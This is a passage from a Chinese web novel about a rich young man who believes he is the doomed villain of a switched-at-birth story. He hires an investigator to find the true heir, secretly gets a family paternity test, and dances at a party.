“你放心,我那个花心萝卜老爸调查私生子都吩咐他办的。”许聪聪没有一点替遮家丑的意思,淡然开口。
想想许聪聪他爸的光辉历史,崔磊磊发自肺腑的点点头表示认可,沉声道:“帮我找一个人。这是他的信息。”
边说,崔磊磊郑重的拿出自己默写的第一章信息。
作为一个学渣,天知道他光回想第一章的详细信息,咬了多少笔杆。
太难了!
许聪聪见状好奇的瞥了眼A4纸,就见上面打印着相关内容——
姓名:沈谦
年龄:21岁【大概】
性别:男
长相:应该是网络小说描写的“刀削面”脸蛋,具体用词大概就是眉目深邃,神色冷峻,气质出众;总而言之往帅的方向找
学历:很聪明,据闻跳级,目前应该是在准备博士考试,有考燕城大学计算机的打算
家庭:家庭贫穷,据闻父母双亡,是因病而亡,家里有欠债的。因此身兼数职
一目十行的看完后,许聪聪眉头紧拧:“你找这男的干什么?”
崔磊磊面色不改,把自己早已斟酌过的理由倒背如流:“我玩游戏的时候认识的人,感觉性子还不错。于是我费尽心思从亲友团里扒拉出他的详细信息,想帮他一回。毕竟我爸妈是打算给我找职业经理人的。自古以来雪中送炭容易,锦上添花难。”
“你不会被骗了吧?还记得大三的时候整个大学城横幅挂满。”许聪聪担忧着:“本社区某同学被采茶女诈骗三十万。要不是怕影响不好,说出是被诈骗了整整一千万,那你就全国出名了。”
“我三十万那不也是上热搜头条了。”崔磊磊深深叹口气,“所以这回我也学聪明了,想要资助好学生前找侦探调查一下。”
许聪聪哑然无言。
被觊觎厚望的私家侦探把相关信息看了一遍又一遍,问:“您确定他有学历吗?”
崔磊磊笃定点头。这学历小说里写的清清楚楚的,毕竟现如今娱乐圈高学历的少。像沈谦这样的在选秀节目炫技,跳古典舞弹琵琶;在综艺节目里鉴赏古画;在历史正剧里跟历史学家谈史……可能耐了。一开始有黑粉也觉得沈谦装逼立人设,但无奈最后学校以及各种研究院都啪啪啪出来打脸。
见状,狗仔王信心满满,“您确定这个名字没错的话,那我想办法跟学籍网联系上,不出四个小时便能够给您相关信息。”
闻言崔磊磊鼓掌:“厉害!我怎么没想到还有学籍网。”
顾名思义全国学生学籍管理中心。按着相关政策,若是公司用人的话,是可以调查学籍信息的。
于是崔磊磊干脆也不回家了,就在会馆里吃吃喝喝打打球,四个小时时间弹指而过。
一到约定的时间,崔磊磊便迫不及待的看着门,等待狗仔王。
许聪聪见状颇为好奇,“你对那个沈谦就那么期待?”
“当然。”崔磊磊避开许聪聪望过来的视线,继续一本正经的胡说八道:“搁古代,我这个叫做招兵买马!我总不能一辈子用我爸妈给我安排的私人助理吧?就算不打理家业,但自己个人的财产,总要找合适的人选进行管理。”
闻言许聪聪托腮沉思状。
崔磊磊迎着忽然安静起来的包厢,心跳不经意间就噗通噗通加快起来,看着缓缓推开的房门,狭长的凤眼都跟着瞪圆了起来。
狗仔王一跨入门,习惯性上锁确定私密性后。迎着落在自己身上直白炙热的眼神,他不自禁浑身一僵,面色都有些灰白,喘着气道:“许少,崔少,学籍网上符合条件的人压根没有。”
崔磊磊闻言如遭雷劈。
6. 亲子鉴定出结果了
“你确定学籍网查不到沈谦?”
崔磊磊说着都觉得自己呼吸不畅,甚至下意识的大口大口喘气起来,满脑子都是书中沈谦一次次靠着才华打脸,各种官微撑腰的画面。
“石头,你怎么了?”许聪聪看着面色骤变的崔磊磊,心理喃喃着沈谦一词,眼底飞快闪过一抹阴鸷,但这一抹戾气消逝的极快。他笑着上前,轻轻拍了拍崔磊磊的脑袋,双眸带着些虔诚,不掺杂任何的欲、念,唯有紧张,唯恐人肌肤饥渴症忽然就犯了。
“没是,就是……就是奇怪。”崔磊磊狠狠喘气着,道:“学籍网囊括了全国所有学生,包括海外留学生所有的学历信息。哪怕再贫穷,咱们华夏学生都得上九年义务教育,对吧?”
说完崔磊磊紧抿唇畔,逼自己站得笔直,身形像是宝剑一样,带着锋芒看向狗仔王,逼问道:“你最好给我保证自己查到的消息属实!”
撞见崔磊磊横扫过来的犀利眼神,宛若刀锋一样的眼神,狗仔王身形猛得一僵。扪心自问,他若不是受许家老爷子的恩惠,恐怕理都不会理会两个富贵公子哥。但万万没想到燕城圈子里流传的孔雀小明皇,崔家的宝贝疙瘩,也会露出尖锐的爪牙,让人下意识的有些畏惧。
感慨着,狗仔王拿出专业的侦探素质,一板一眼的纠正:“崔二少,但凡是我国国籍的学生,自然在学籍网能够查证的到。”
得到如此笃定的回复,崔磊磊下意识的勾了勾手指,沉声半晌,道:“学历或许错了,你赶紧去查查学籍里姓沈名谦的有多少人。”
许聪聪看着情绪平复下来的崔磊磊,立马给狗仔王使眼色。
狗仔王见状不急不缓的开口汇报道:“您是许少爷的好友,又心存善念是为了捐助学生的,我自然办事妥帖细致几分。跟您提供的信息匹配者虽然没有,但是全国同名同姓的一共有168596人,除却女生外,还有156893人。但……”
顿了顿,狗仔王止住心中的困惑,继续冷静无比的开口:“但由于您和对方是网上认识的,因此也不排除是女生。若是您还有其他信息要点,给我一个星期,我可以将所有人一一进行筛选。”
咬重了网络一词,狗仔王恨不得直说干脆把ID给我,我查IP!
听得传入耳畔的话语,崔磊磊手缓缓捏紧成拳。
随着崔磊磊对现实世界的认识,亦或是常识的规矩——信托基金、学籍网出现,便像是忽然间有了铁锤能直接把穿书两个字砸得粉碎。书中那些看起来合乎逻辑的爽文剧情,也分崩离析。
毕竟相比无法用科学解释的穿书,他更加信赖自己国家的政策法规。
沈谦牛逼上天,沈谦的爱慕者牛逼上天,但这群主角团总得遵纪守法吧?
思忖着,崔磊磊紧绷着脸,让自己尽量显得睿智一些,拿出两辈子吃盐的阅历,问:“假设名字错了呢,对方有马甲或者叫曾用名?”
狗仔王闻言眼皮猛得跳了两下,忽然有种不好的预感。果不其然就见崔磊磊眸光诡异的亮了起来,道:“按着我的标准,找跟我差不多好看的。”
狗仔王:“…………”
狗仔王静静的抬眸看着好看的崔磊磊,来回反复深呼吸让自己冷静下来,免得一拳把金主脑袋打脑残了。
许聪聪听得直接扑棱了一下崔磊磊的脑袋,面无表情的开口:“石头,你跟我说清楚为什么要找这人,否则我立马去报警,让警察叔叔来找人!只要把你的电脑全查一遍,哪怕对方有IP代码遮掩,网警查不出来,我为警局请计算机大佬查。”
说到最后,许聪聪丝毫不掩饰自己隐忍的怒火,挥挥手示意狗子王先离开,自己双眸带着警惕盯着崔磊磊的双眸。
崔磊磊一动不动,不敢眼神飘忽,乱转眼珠子。
两人视线在半空中相触,谁也没先移开,就这样无声对峙着。屋内顷刻间带着肃杀之气。狗仔王视线在两人身上飞快打转了一圈,也没有开口和稀泥,飞快的转身离开,免得自己听到什么惊天秘闻。
也不知过了多久,崔磊磊听得身后响起的关门声。咔嚓一声很轻,但对于精神高度紧绷的他来说,也不亚于夏日惊雷,带着雷霆万钧的威慑力。
可他总不能说,他做了个梦,梦见自己是恶毒反派,是个降智源,非但家人甚至好友都被牵累的家破人亡。
况且现如今还没有做亲子鉴定。
崔磊磊唇畔张张合合半晌,最终开口,声若蚊蚋,“聪聪,你相信我帮我找到这个人好不好?我找到他的目的其实很简单,就是想要确定一个消息,确定我是不是神经病。”
最后三个字,崔磊磊一字一顿,极其肃穆的说道。
许聪聪听得始料未及的理由,浑身紧绷,“你说什么?!”
“我感觉自己好像神经病了,经常冒出些乱七八糟的画面来。”崔磊磊半真半假的开口诉说,双眸一眨不眨的盯着许聪聪,企图萌混过关:“感觉自己像是在做噩梦,但又感觉这个梦特别的真实。甚至我还跑去脑科看过病了,可我还是莫名的担心,因此想要找到沈谦,从侧面证明自己没有生病。”
许聪聪只觉得自己嗡得一声,整个人都被炸的六神无主,小心翼翼的抬手摸了摸崔磊磊的后脑勺,急得满脸通红:“是……是因为当年被砸的那一下吗?是不是现在后遗症冒出来了?”
看着好友担心甚至懊悔的眼神,崔磊磊忙不迭摇摇头,“没有。季医生还说我脑子好的很,让我别拿当年的病当借口呢,没有后遗症。我已经去医院看过了。真的,我爸还陪我去拍片呢。”
许聪聪闻言下意识的揉揉自己心脏,又忙不迭的揉揉崔磊磊脑袋,谨慎无比询问道:“真的?那你没事说自己神经病?”
“百度上这么说的!”崔磊磊毫不犹豫甩锅,“有幻觉,紧张多梦,妥妥有病。”
许聪聪听到这理由,磨着牙看着崔磊磊。
崔磊磊还面不改色,笃定的点点头,“宁可信其有不可信其无。”
看着边说眼里迸发出决然光芒的崔磊磊,许聪聪猝不及防的想到了当年,想到了崔磊磊也是凭借所谓的直觉——许聪聪不是个坏校霸,就敢来陪着他打架的一幕幕,所有质疑的话语都被堵在了喉咙里,无法言说。
按着被气得突突直跳的青筋,许聪聪狠狠吁口气,友情建议:“你要不换个浏览软件?”
“……你是不是我好朋友了,就不能多找几个靠谱的私家侦探,帮我大海捞针吗?”崔磊磊反问的理直气壮。
听人如此的霸总范,许聪聪反倒是放心了,一脸了无生机的往后瘫倒在沙发上,凉凉的开口:“要不我干脆给你买个热搜置顶得了。”
“这也成啊,发挥你霸道总裁的狂狷邪魅拽来。”崔磊磊毫不犹豫道:“让你家那些顶级影帝影后的转发一下。要不我再编一个煽人泪下的故事方便他们转发?”
许聪聪闻言坐直了身,目光幽幽的看着崔磊磊,“你认真的?”
崔磊磊点头。
“我给你再找两私家侦探,要是在学籍网里找不到沈谦的信息,”许聪聪看着一门心思真要借助找人证明自己脑子没病的崔磊磊,毫不犹豫坑爹:“我丢后宫群里。就我爸那一二三房,没准看到这个信息就已经咬牙切齿,让他们找人,绝对比我们找人快。”
他老爸许俊,是出生好能力好又长的俊。身边莺莺燕燕就没断过,在许氏影视集团搞得跟皇帝一样,后宫佳丽没三千,但也有三人。
“对啊,我记得一个影后一个是视后争许家夫人的位置,可来劲了。”崔磊磊闻言沉默三秒,就嘿嘿的笑了。
若是穿书剧情为真,影后的儿子霸总许铮铮可是沈谦的追求者之一呢。
也是许家的获利者。
那就用魔法打败魔法,让主角团的人找主角。
于是,崔磊磊很放心跟许聪聪还有狗仔王商量如何大海捞针找到沈谦。等敲定好一系列的找人计划后,崔磊磊淡然的以“神经病”为由,低声道:“哥们,借你家的破事为理由,我想去隔壁杭城去,偷偷拜一拜佛。你知道的,我哥不许我学爸妈搞封建迷信,但拜一拜我更加心安点点。”
许聪聪闻言想也没多想,挥挥手:“当然可以了。咱们哥俩谁跟谁。不过我不信佛,也就不陪你去,你自己保镖带好,注意安全。”
崔磊磊激动的抱了抱许聪聪,“好兄弟谢啦,我以后肯定不坑你,带着你快快乐乐的过一辈子。”
许聪聪笑着反手抱着崔磊磊,眼神坚毅,“坑我也没事。”
听得人难得温柔又笃定的话语,崔磊磊羞愧的垂了垂眸。
他绝对绝对不能做恶毒反派,坑了所有疼他关心他的亲朋好友!
=======
告别好友后,崔磊磊神神气气背着书包,筹划去杭城司法鉴定中心的行程。
因不管是乘坐高铁还是大巴亦或是打车,总会留下痕迹。于是崔磊磊干脆就带自己的私人专属保镖林跃一起坐高铁,只神秘兮兮的低声警告道:“发挥你的职业素养,接下来你所看到的一切都不许告诉我爸妈还有大哥。毕竟这是聪聪信任我,才交给我办的大事要事,也涉及许家那乱七八糟的家庭关系,知道吗?”
忠厚老实的林跃想想许家复杂的家庭关系,凝重的点点头。
见状,崔磊磊满意无比点点头,问:“你的卡能够取现金吗?”
本来他是打算卖个二手奢侈品获取现金的。但无奈崔磊磊从前实在太奢侈了,买的都是限量版,甚至大部分都有自己专属的小石头logo。若是卖出去的话,事后有心人若是调查起来就很容易。
因此他就调整了作战计划,干脆坑一回好友。因为老许家实在太乱糟糟了。以许聪聪的名义去做亲子鉴定,没有人会起怀疑。毕竟许家经常做亲子鉴定——自打私生子也能够继承财产后,许渣男的风流性子名声在外,找他接盘亦或是碰瓷的人也就越多了。甚至某些人遮羞布都不要了。
所以非常的情理之中。
林跃点头:“可以。”
“我给你打钱。你赶紧去取十万。要是事后我哥查账问起来,你就说取现上交功德箱了。毕竟拜佛捐功德很常见的。”崔磊磊美滋滋的安排着:“鉴定费一万差不多了,我给你一万当小费,剩下八万捐掉,想想计划就很完美。”
“小少爷,我不用小费。这是我应该办的。”
“要的,要不聪聪不放心,甚至还会生气。给你钱你拿着就好。”说完,崔磊磊面色一板,“别以为我不知道,您老人家可厉害了,要不是为了家里人治病也不会来给我当私人保镖。所以这钱林大哥你拿着,权当我给小侄女买裙子。你知道我性子的,要是我自己买,那可是高定上百万的。你到时候要不要啊?”
林跃看着凶巴巴威胁的崔磊磊,默默的叹口气,让自己学的稍微圆滑一些,道:“我会跟老大汇报,就说是您付给我的转账手续费。”
说来也真奇怪,明明都是兄弟,崔宝诚却是个勤俭简约的。若不是他女儿患病需要三十七万的手术费,他还有队里的其他人都不知道老大竟然是富二代。
闻言崔磊磊十分满意,麻溜转账。
一路上尽可能的说着笑话聊着天,但是当到达了杭城,当乘坐最原始的人力三轮车离最权威的司法鉴定中心越近,崔磊磊还是不可避免的紧张了起来,带上了口罩,甚至还有一副超大的墨镜,把自己脸蛋几乎遮挡的严严实实,手死死抓紧了书包。
鉴定中心近些年为了应对某些民事诉说的要求,也开通了个人鉴定的渠道。相比施法鉴定必须父母孩子三方到场,还得带齐相关证件而言,个人鉴定还是有一定保密
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性的。
所以走廊里也没有其他地方随处可见的监控摄像头。
想起自己做的功课,崔磊磊捏紧了书包,一步步的走进个人鉴定登记办公室。
鉴定工作人员看了眼全副武装的崔磊磊,也没有多想,语调淡然的诉说了一遍鉴定需要的流程,问:“有带样本吗?”
“有。”崔磊磊哆嗦的打开书包,手指都有些颤抖的从中拿出自己细心保管好的发丝,“我……我带了样本。”
鉴定的工作人员看着人颤栗的模样,交代了要点:“最快三天后能够取鉴定结果。若是没有异议的话,去交钱把回执单拿给我,再进行样本检查封存。”
“好的,谢谢。”崔磊磊闻言缓缓吁出一口气,抱紧了自己的书包,一步步走向窗口。
看着捧着厚厚一叠的现金,工作人员虽然好奇但也没有多说其他,反而带着些怜惜看了眼崔磊磊。个人鉴定中心出来的孩子,都有些伦理悲剧。
林跃步步跟着崔磊磊,看着人浑身僵硬,不由得抬手去搀扶,“小……”
听得耳畔炸裂的声音,崔磊磊一个寒颤立马回过神来,“嘘,别开口。”
“是。”林跃表情一变,立马恭敬的应下。
侧眸看了眼令行禁止的林跃,崔磊磊拖着重如铅坨的双腿,一步步往回走。但相比楼下缴费处的几分喧闹来说,个人鉴定中心所在的九楼几乎静寂无比,仿若夜半无人时,空旷的让人打心眼里发憷,甚至带着些渗入骨髓的寒意。仿若这个地方带着些秘而不宣的阴私,远不如楼下的司法亲子鉴定有人烟气。哪怕是怒吼的撕逼声,但到底还是“一家人”热热闹闹的前来。
不像此时此刻唯有崔磊磊一个人。
也不像书里描写的那样,是有人送信上门,崔家暗中调查,才找到了在兼职打工的沈谦。
想着,崔磊磊听得自己咚咚咚的脚步声,咬着牙逼着自己疾步走进屋内,快速坐定。视线幽幽的看着半截的白发,崔磊磊拼命想着自己所获得的父母之爱,想着书中父母老无所依的凄惨结局,眸光闪现一道决然,立马伸手拿样本,小心翼翼摆在样本盘中。
鉴定工作人员表情忽一变,神色错愕的看着一包一包又N包的样本,“你这是批量检测?”
边说鉴定工作人员看向崔磊磊,眼神带着警惕。
林跃也傻眼了,呆愣的看着办公桌上满满当当十九个的样本,倒抽一口冷气。
迎着屋内诡异的静寂氛围,崔磊磊噗通乱跳的心脏反倒是渐渐趋于平稳了。毕竟开弓没有回头箭,他已经把样本放在了办公桌上。对于商贾之家来说,一旦将文件放在了肃穆的办公桌上,便意味着已经开启了公事公办的程序,不能任性自我的反悔。
缓缓吁出一口气,崔磊磊左手大拇指扣着右手的拇指。感受着双指交缠带来的安全感,崔磊磊目光静静的看着自己排列整齐的样本,认真介绍道:“我做过攻略,兄弟也可以检测的。第一排包装袋内都是短发,是大哥的。有采集日期标注。”
“第二排的头发,是母亲的,但因为我不是即使采取的,因此没有办法标注日期。”
“第三排是烟蒂,这是爸爸的。我采取略微有些困难,但也确保按着攻略上样本的要点进行保存了。”
“第四排,是我的。头发保证是日期最新鲜的。”
鉴定的工作人员听得没忍住噗嗤一笑:“感情你这是重复检查?”他还以为这是个私家侦探之类的,专门接这些检测的活。
“没错,我要确定百分百。”崔磊磊郑重无比道。
他太蠢了,以为找到头发就万事大吉。但百度还是靠谱的,白纸黑字的告诉他崔磊磊想得太简单了。样本的采取可是有条件的,且也不仅仅局限头发。因此先前他在家的时候可没少努力收集样本,就差把垃圾桶翻个干干净净了。终于尽可能的采集齐全了。
鉴定工作人员恍恍惚惚,“慎重点也好。”
“嗯。”崔磊磊颇为认可的点点头,又不放心的询问了一遍时间,最后含笑的告辞离开。
等一出鉴定中心,崔磊磊直接双脚一软,全靠着林跃搀扶,才没直接摔地上。
“小少爷您没事吧?”林跃看着神情如此惶然的崔磊磊,眼里闪过狐疑。
崔磊磊敏感察觉到身旁之人困惑的眼神,忙不迭把墨镜摘下来,理由心口就来:“墨镜挡我视线了。我……我们去拜拜佛,驱一驱霉运。”
林跃闻言将信将疑的看着超大号的墨镜,“那我们打车去?”
“三轮车。事情还没彻底爆发出来之前,别露出任何的痕迹来。否则被其他人知道,聪聪又被人惦记上怎么办?”崔磊磊继续甩锅。
林跃点点头。
见状崔磊磊微不着痕的吁口气,跑寺庙去感受难得的宁静。但该来的还是会来的,三天后崔磊磊准时收到了厚厚的一叠亲子检测报告。
崔磊磊咬着牙翻开报告,向来习惯性看最终结果的他双目一字一顿,恨不得将整份文件一字不落的看下来。
一检材、二检材处理和检测方法、三……每一个大类崔磊磊看得都极其仔细,最后五检测结论上,只见上面写着【根据DNA遗传分型标记结果,不支持检材1是检材3生物学父亲,不支持检材2是检材3生物学母亲。】
检材1是爸爸的烟蒂。
检材2是妈妈的头发。
检材3是崔磊磊的头发。
换言之,崔磊磊真不是崔家的崽。
手渐渐攥紧了检测的纸张,崔磊磊只觉得自己掌心都要被这个铁证给烧的鲜血淋漓。
哪怕目前没有找到沈谦。
但剧情该来的时候还是会来的。
那么……
崔磊磊该怎么结束自己?
死一个崔磊磊就能保全一家人了。
7. 最后和谐计策
死?!
回到燕城回了家后,崔磊磊还在为自己冒出来如此极端想法而心惊胆颤,惊恐不安。他如此怕疼如此惜命的人,压根不会在事情还没水落石出前就有如此悲观如此荒诞的想法——死一个崔磊磊就能保全一家人了。
哪怕他的的确确想要父母富贵无忧的渡过晚年,想要大哥顺顺利利的当霸总娶妻生子,也想要好朋友许聪聪他们也是富贵一生。但以崔磊磊的性子,绝对绝对不会还没见到主角受沈谦呢,就放弃一切!
他最多最多把自己打包塞进军营,让自己有个看起来理直气壮的理由,避开父母和哥哥。
若崔磊磊是其他类型文恶毒反派,他一定卷起包袱立马离主角夫夫越远远好。可偏偏是抱错文里的反派。自古以来清官都难断家务事呢,更别提崔磊磊还是个缺爱的熊孩子,是无法做到真正割舍掉父母和哥哥的。因此只能先合法合情的离开一段时间,让一家四口培养感情。
所以绝对不会这么极端直接求死的。
越想崔磊磊越发觉得自己不对劲,但一时间也没有科学的办法探查自己的脑袋到底出了什么问题。于是在小心翼翼藏好书包后,崔磊磊便神色抑郁的打开绿晋江小说网站,按着关键词进行搜索相关小说。他打算来一招“三个臭皮匠赛过诸葛亮”——从小说中吸取经验,总结改变剧情的方法。
看着刷新出来的目录:《满级大佬穿成假千金》、《真千金是学神》、《真少爷又在逆袭打脸》、《被找回来的真少爷靠联姻走上人生巅峰》、《假少爷C位出道后爆红了》……满满几页的小说书名,崔磊磊表情凝重,打开了手机备忘录,认真的做着相关经验摘抄。
从来不耐烦看书,连看毕业论文指定参考书目都是粗粗翻看一眼的人,这一刻表情无比肃穆。崔磊磊指尖按着键盘,看着化出的一行行字,都觉得是自己生命的延续,是父母美好安逸的老年生活,是哥哥能够娶妻生子的老婆本。
一行又一行,崔磊磊盯着乌黑的眼圈,忙了整整大半月。
当总结完最经典的一本抱错文《梅花烙》后,崔磊磊颓然的按住自己突起的青筋,疼痛的叹口气。
抱错文里十本里九本都是以逆袭打脸为看点的,剩下一本虽然讲究“一山不容二虎,除非一攻一受”,能朝和谐方向发展,但也不适合崔磊磊借鉴学习。因为小说真假少爷攻受分明。
而崔磊磊脑子里的小说《影帝又在打脸》,标签属性是——主受文,真少爷沈谦是万人迷受!
不巧的是,崔磊磊也是受。
因此,就算提前抱沈谦大腿,哪怕仗着小脸蛋去勾、引沈谦,但两个受也没法生米煮成熟饭。
至于为爱做攻什么的……
崔磊磊倏忽间眸光诡异的亮了起来,以难得一见百米冲刺的速度跑到了卫生间,仔仔细细检查了又检查自己的硬件设备,满意的点个头。
虽然崔磊磊身心俱受,但可以逼沈谦当攻。毕竟崔磊磊是个颜控,爱情什么看脸就成。
至于沈谦,他都是打脸逆袭文的主角了,再把性向逆袭一下,翻身当攻也挺好,是吧?!
自我逻辑自洽着,崔磊磊暂且有了最和谐最完美的解决办法,不亚于卸下了心中的大石头,立马抑制不住打了个哈欠,趔趔趄趄的奔向床,卷着被子,秒睡。
第二天醒来,崔磊磊精神奕奕的去找狗仔王。
狗仔王颤颤巍巍的送上自己带人加班加点筛选出来的人选。
厚厚一点资料介绍,崔磊磊快速了翻照片,表情渐渐凝重起来,“你看着我的脸,以我的脸为标准找。”我现在知道自己为什么这么漂亮,全燕城最靓崽了。
因为是纸片人,是为了给沈谦做垫脚石的。
那么沈谦肯定颜值在崔磊磊之上。
心中笃定着,崔磊磊看着欲言又止的狗仔王,立马提供自己从小说中get的经验:“年纪或许有些出入。我听说有些农村地区是会用农历的。”
——虽然现如今医院有出生证明了,但是往前二十几年,在偏远的农村地区,还有传说中的接生婆呢。且农村登记户口身份证日期之类,有些还是按着老祖宗流传下来的农历,不是按着国际惯例的公厉来登记。
而小说里真太子爷沈谦从来不过生日。据闻是不知道自己哪一天过生日,身份证的日期也是假的。因此他当时提供的信息里也用括号标了【大概】两个字。
狗仔王听到这话,看着表情一脸真挚的崔磊磊,没忍住直接道:“崔少,您要不给我账号,我按着IP找?这样起码高效点。”
“不行,”崔磊磊闻言浑身紧绷,立马转动脑筋,飞快有理有据甩锅:“我哥偶尔会查我。万一让他知道我私下找人查IP进行人、肉搜索。他会觉得是你们带歪我,会很生气,到时候后果很严重的。没准会——”
抬手指指自己的嘴巴,崔磊磊一本正经道:“看见我嘴型了吗?110!我哥真的会报警的,不信你问许聪聪。”
狗仔王见状,无言以对。
“你再辛苦辛苦,我给加班费,厚厚的。”崔磊磊笑着把资料递给狗仔王,连声宽慰道:“厚厚的加班费。”
狗仔王:“…………”
自我勉励看在钱的份上,狗仔王缓缓吁出一口疲惫之气,小心翼翼的看着崔磊磊的脑袋,慎重无比的建议:“崔少,您再想想,还有其他信息吗?能够客观化的信息。”
“是个gay,算不算?”
狗仔王默默回去看照片。相比较之下,还是看照片选美比较容易。
目送着战无不胜攻无不克的狗仔王离开的脆弱背影,崔磊磊自己默默关上了包厢门,又抬手揉揉自己的脑袋。他也没办法啊,绞尽脑汁想啊想啊想,可塞进脑子里的是文字,不是画面。
否则以崔磊磊的画技,还是能够画出沈谦大概容貌的。
心中抑郁着,崔磊磊干脆组局,喊了平日里玩的好的富二代,打算来一场最后的狂欢。
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组局的地点依旧是燕云会馆,这地方算他大哥指定崔磊磊小朋友宴会场所。
虽然没有外面酒吧那么热闹,但会馆胜热闹齐全,骑马射、箭保龄球高尔夫……作为至尊VIP会员,还能跑会馆后山的专业赛道进行飙车。
总体而言富贵咸鱼群们都还是能够玩的尽兴的。只不过作为东道主,他崔磊磊今天大冒险的手气不好。
再一次轮到自己受惩罚后,有些醉的崔磊磊手抖着展开小纸条,眯着眼看上面的内容。
“哈哈今天真是有眼福了。”有人凑过脑袋看清崔磊磊手里惩罚的纸条后,放声大笑起来,“哪位人才写的钢管舞。”
闻言狐朋狗友们都笑了起来,眉飞色舞的开口:“既然抽到了就不许耍赖。许大少你也不许当护花使者。来人赶紧把他拦着!”
许聪聪听到这话面色一变,急道:“你们别瞎起哄,小石头赶紧选择大冒险,不然这事泄露出去,你哥杀过来,我们全都要完蛋。”
说到最后一句带着浓浓的警告横扫一圈人。崔磊磊其实在舞蹈上还挺有天赋的,因孔雀舞跳得好,才有孔雀小明皇的外号。但崔家到底还是有些好颜面,最终崔磊磊艺考选择的是播音主持系。
“没事,牡丹花下死做鬼也风流!”有喝醉的大少闻言立马毫不犹豫的开口,拍着胸脯:“我豁出去这条腿被打折而已。”
“我爸最多扣我三个月零花钱。但为了一睹咱们孔雀小明皇的舞姿,我心甘情愿。”
“呦呦哟,跳起来跳起来!”
“…………”
看着如此热情的众人,崔磊磊安抚的拍拍许聪聪的肩膀,低声:“其实是我自己写的。酒壮怂人胆,更别提法不责众嗷呜!”
喝醉的富二代们跟着:“法不责众嗷呜!”
许聪聪直接捂额,眼瞅着崔磊磊也一副憋坏了要放飞自我的模样,面无表情的挥手:“玩伴全都出去。”
其他人没错过两人的窃窃私语,闻言直接笑声更加猖狂,也跟着驱赶自己带来的玩伴。他们的玩伴也的确稂莠不齐,若是有人没长脑子炫耀出去,对他们来说也是麻烦。
确定只剩下自己人后,众人皆是放声大笑,外加音乐声汇聚在一起,顺着风声飘了出去。以致于前来会馆的其他宾客们都不由得侧目,看了眼音乐声震天的西区。
看了眼自己邀请来的A总面色沉沉,厉总斜睨了眼经理。
经理见状小心翼翼的禀告道:“两位老总真是对不起,今日整个西区都由崔家小公子包了,宴请的宾客也是各位小少爷,都是年轻人因此就活泼欢快了些。”
听到罪魁祸首是自己好友的宝
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贝弟弟,厉总眼角余光看了眼喜静的A总,果不其然就见人面带愠怒,眉头紧蹙,一副被吵到头疼的模样。
见状,厉总立马开口,谁知还没来得及开口说话,就见人薄唇轻启,问道:“传说中的孔雀大明皇?美名之响,我在海城也曾听闻过。据闻海城黎家的外孙,算起来是我大侄孙的许聪聪是人的小弟?”
莫名的厉总觉得对方刻意咬重了“大侄孙”三个字,但无奈想要细细打量对方的神情,便发现人神色晦暗不明,让人难以揣测。
因此,厉总也只能顺着人的话,笑着道:“也对,A总,说起来我们也是亲连着亲。磊磊这混小子我爸也喜欢的紧,恨不得把人收作义子。他啊打小就这么爱闹腾。”
“嗯。”
浑然不知道外面有人因他们的欢笑声驻足停留,崔磊磊在音乐中欢快的起舞。虽然搬起石头砸自己的脚,没看见朋友们出丑,但跳舞这事,他还是拿得出手的,不管跳什么。
现如今跳钢管舞,也算解压了。
提前热热身,崔磊磊踩着音,握着钢管来了一个炫技的腾飞。以常人不能理解的姿势在半空中停留的两秒,然后后空翻,一脚踩地。浑身仿若最柔软的丝带一般,能够随风起舞。
惊的在场其他人纷纷鼓掌拍案。
而迎着叫好声的崔磊磊,嘴角抽抽。要知道正统教科书上的概念,钢管舞是利用钢管为道具,综合爵士、芭蕾、拉丁、肚皮舞等等不同风格的舞蹈以及杂技和艺术体操衍生出来的新型舞种。但无奈由于在某些娱乐场所大受欢迎,才添了暧、昧、欲、念。
但随便了。
上辈子他练舞,只不过想要获得爸爸的注意力,甚至甘愿成为他手里的摇钱树而已,当个大明星。
现如今,反倒是纯碎的享受。
毕竟肌肉记忆,不是天生的,是崔磊磊自己练习出来,是属于崔磊磊自己的!
骄傲着,崔磊磊只觉得浑身上下带着难以形容的舒爽。好像天地间只剩下了最纯粹的音乐舞蹈享受,只剩下了崔磊磊作为舞者能够站在舞台上宣告自己的绝对控制力,对身体的控制,对舞台的掌控力。这一刻,他崔磊磊就是王者,绝对的王中王,所有人都要拜服他脚下!
看着崔磊磊睥睨扫过来的眼神,在场所有人浑身一个激灵,下意识的觉得自己膝盖都发软了。许聪聪听得耳畔一声高过一声的欢呼声,眼底带着警惕横扫四周。平日里看起来傻乎乎的崔磊磊,只要一登台表演,还是带着犀利的王者风范。可也越发美颜肆意,真仿若外号孔雀,漂亮又高傲,特别容易招惹某些变态。这也是崔家不许崔磊磊大学练舞的原因之一。
正打量着,许聪聪浑然瞳孔一震,错愕的看着不知何时来的一群人,看着被助理们簇拥在中间的两人,紧张的吞咽了一下口水。
厉总厉琏,崔宝诚崔大哥的好友,崔磊磊死定了。
厉总旁边那位,他眼睛要是没瞎的话,是沈家大名鼎鼎的摄政王。对方果然若传闻的那样美貌阴鸷,移动的“你欠我百亿债”的棺材脸。此刻脸上五官紧绷,锋利的恍若利刃,薄唇也紧紧的抿成一条线。浑身带着令人窒息的戾气。
而周边是喊声震天的“撩高撩高!”
许聪聪下意识的回眸,就见跳嗨的崔磊磊撩起了衣服,露出了半截白皙紧致的腰。在灯光的照耀下,这腰身白的亮眼,惹人遐想。
许聪聪浑身一僵,赶紧怒吼,“别闹了,石头赶紧下来!”
边说许聪聪冲上舞台去拉崔磊磊。
猝不及防的被打乱了兴致,所有人面色一沉,但骂声还没出口。富二代们撞见忽然入场的一群人,全都被吓得酒醒了,哆哆嗦嗦的不敢言语。
本来挣扎的崔磊磊顺着众人视线看过去,当即眼眸一眯,干脆无比的两眼一翻,直接顺着许聪聪的搀扶柔弱的昏倒。
夭寿了,零花钱没了,还要被罚抄理科公式了。
许聪聪见状心中有数,配合的撕心裂肺喊了起来,“愣什么,赶紧打120啊!”
众二代立马照办。
厉总看着如此齐心协力的一幕,眼角余光瞄了眼A总,唯恐人因为这群逗比的富二代不看好燕城商圈老板们的智商。
而被人揣测的A总见状阴恻恻的笑了。
真是让人眼熟的昏厥卖惨套路呢!
8. 鉴定报告被发现
但这种拙劣的卖惨套路,却一次次让他沈谦毫无招架之力。甚至沈谦都不会录音,不会安装监控,像个傻子一样眼睁睁的看着崔磊磊玩一哭二闹三昏倒,进行污蔑陷害。
所以,真的只有用真爱来解释上辈子种种降智的行为了。
自我反省着,沈谦面无表情的目送着富二代们齐心协力扛着崔磊磊就跑。大概众人用力不均,因此崔磊磊那腰身就这样曝光了。白皙紧致,仿若上好的羊脂玉一般,在灯光下散发出迷人的色泽,好像盈盈不堪一握。
